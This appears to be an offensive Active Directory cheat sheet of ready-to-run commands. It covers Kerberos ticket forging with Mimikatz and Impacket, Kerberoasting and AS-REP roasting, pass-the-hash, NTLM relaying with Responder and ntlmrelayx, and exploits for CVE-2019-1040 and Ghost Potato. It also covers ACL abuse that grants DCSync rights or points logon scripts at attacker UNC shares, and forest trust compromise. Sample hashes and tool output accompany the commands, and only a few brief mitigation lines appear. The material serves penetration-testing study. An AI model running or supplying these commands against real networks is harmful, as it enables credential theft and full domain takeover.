Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
or dump the Active Directory and grep the content.
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
Reading LAPS Password
Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
Determine if LAPS is installed
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
Extract LAPS password
The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
-
Powerview
PS > Import-Module .\PowerView.ps1 PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime -
ldapsearch
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd` -
LAPSDumper - https://github.com/n00py/LAPSDumper
python laps.py -u user -p password -d domain.local python laps.py -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local -
Powershell AdmPwd.PS
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
Pass-the-Ticket Golden Tickets
Forging a TGT require the krbtgt NTLM hash
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.
Using Mimikatz
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
Using Meterpreter
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt
# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
Using a ticket on Linux
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi
# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
Mitigations:
- Hard to detect because they are legit TGT tickets
- Mimikatz generate a golden ticket with a life-span of 10 years
Pass-the-Ticket Silver Tickets
Forging a TGS require machine account password (key) or NTLM hash of the service account.
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
Interesting services to target with a silver ticket :
| Service Type | Service Silver Tickets | Attack |
|---|---|---|
| WMI | HOST + RPCSS | wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe" |
| PowerShell Remoting | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
| WinRM | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
| Scheduled Tasks | HOST | schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1" |
| Windows File Share (CIFS) | CIFS | dir \\dc01\c$ |
| LDAP operations including Mimikatz DCSync | LDAP | lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt |
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
Mitigations:
- Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
Kerberoasting
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket (TGS) for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2
Alternatively with Rubeus
# Kerberoast (RC4 ticket)
.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
# Kerberoast (AES ticket)
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
Rubeus.exe kerberoast /tgtdeleg
# Kerberoast (RC4 ticket)
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
Rubeus.exe kerberoast /rc4opsec
Alternatively with PowerView
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
Alternatively on macOS machine you can use bifrost
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)
| Mode | Description |
|---|---|
| 13100 | Kerberos 5 TGS-REP etype 23 (RC4) |
| 19600 | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
| 19700 | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
Mitigations:
- Have a very long password for your accounts with SPNs (> 32 characters)
- Make sure no users have SPNs
KRB_AS_REP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
Prerequisite:
- Accounts have to have DONT_REQ_PREAUTH (
PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast
Using impacket to get the hash and hashcat to crack it.
# example
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7ae561334cd58a56af90f7fbb20bbd4493b6754a57d5ebc08cb7f47ea472ebb7c9ba4260f57c11b664be03191550254e5c77a17518aeabc55f9321bd9f52201df820e130aa0e3f4b0986725fd3a14794433881050eb62d384c4058a407a348a7de2ef0767a99c9df4f85d8eba8ce30a4ad59621c51f8ea8c0d33f33e06bea1d8ff28d7a86fc2010fd7fa45d2fcc2178cb13c1006823aec8a5da10cffcceeb6e978754b0d4976df5cccb4beb9776d5a8f4810153ccc0e1237ec74e6ae61402457c6cfe29bca7c2f62b287f13aff063f5a0a21c728581e43b46d7537b3e776b4
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
Mitigations:
- All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...
or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
You can extract the local SAM database to find the local administrator hash :
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash then you can connect to the machine using the TGT.
Using impacket
root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
also with the AES Key if you have it
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com
ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
Using Rubeus
C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.
python Responder.py -I eth0
Then crack the hash with hashcat
hashcat -m 5600 -a 0 hash.txt crackstation.txt
NTLMv2 hashes relaying
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|---|---|---|
| LM | 3000 | crack/pass the hash |
| NTLM/NTHash | 1000 | crack/pass the hash |
| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack |
| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack |
MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
SMB Signing Disabled and IPv4
If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine.
- Open the Responder.conf file and set the value of
SMBandHTTPtoOff.[Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off - Run
python RunFinger.py -i IP_Rangeto detect machine withSMB signing:disabled. - Run
python Responder.py -I <interface_card>andpython MultiRelay.py -t <target_machine_IP> -u ALL - Also you can use
ntlmrelayxto dump the SAM database of the targets in the list.ntlmrelayx.py -tf targets.txt - ntlmrelayx can also act as a SOCK proxy with every compromised sessions.
$ ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> socks Protocol Target Username Port -------- -------------- ------------------------ ---- MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433 $ proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1 $ proxychains mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth
Mitigations:
- Disable LLMNR via group policy
Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled - Disable NBT-NS
This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP
SMB Signing Disabled and IPv6
Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
cme smb $hosts --gen-relay-list relay.txt
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
mitm6 -i eth0 -d $domain
# spoofing WPAD and relaying NTLM credentials
ntlmrelayx.py -6 -wh $attacker_ip -of loot -tf relay.txt
or
ntlmrelayx.py -6 -wh $attacker_ip -l /tmp -socks -debug
Drop the MIC
The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP
Check vulnerability with cve-2019-1040-scanner
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
-
Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD
TERM1> python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname> TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc -
Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.
# create a new machine account TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support TERM2> python printerbug.py relaytest.local/testuser@second-dc-server 10.0.2.6 TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME # connect using the ticket export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache secretsdump.py -k -no-pass second-dc-server.local -just-dc
Ghost Potato - CVE-2019-1384
Prerequisites:
- User must be a member of the local Administrators group
- User must be a member of the Backup Operators group
- Token must be elevated
Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required object.
The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with AdminCount=1.
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
AdminSDHolder Abuse
The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Abusing Active Directory ACLs/ACEs
Check ACL for an User with ADACLScanner.
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
GenericAll
- GenericAll on User : We can reset user's password without knowing the current password
- GenericAll on Group : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
net group "domain admins" spotless /add /domain
GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.
# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
# Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
# Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
GenericWrite
-
Reset another user's password
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 $user = 'DOMAIN\user1'; $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential $user, $pass; $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds; -
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1
GenericWrite and Remote Connection Manager
Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
WriteDACL
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
-
WriteDACL on Domain
# Give DCSync right to the principal identity Import-Module .\PowerView.ps1 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local -
WriteDACL on Group
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domain
WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
ForceChangePassword
An attacker can change the password of the user this ACE applies to. This can be achieved with Set-DomainUserPassword (PowerView module).
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
Trust relationship between domains
- One-way
- Domain B trusts A
- Users in Domain A can access resources in Domain B
- Users in Domain B cannot access resources in Domain A
- Two-way
- Domain A trusts Domain B
- Domain B trusts Domain A
- Authentication requests can be passed between the two domains in both directions
Enumerate trusts between domains
nltest /trusted_domains
or
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
Exploit trusts between domains
:warning: Require a Domain-Admin level access to the current domain.
| Source | Target | Technique to use | Trust relationship |
|---|---|---|---|
| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) |
| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) |
| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) |
| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) |
Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.
Prerequisite:
-
KRBTGT Hash
-
Find the SID of the domain
$ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502 # with Impacket lookupsid.py domain/user:password@10.10.10.10 -
Replace 502 with 519 to represent Enterprise Admins
-
Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
Forest to Forest Compromise - Trust Ticket
- Require: SID filtering disabled
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.
Dumping trust passwords (trust keys)
Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.
lsadump::trust /patch
or find the TRUST_NAME$ machine account hash
Create a forged trust ticket (inter-realm TGT) using Mimikatz
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
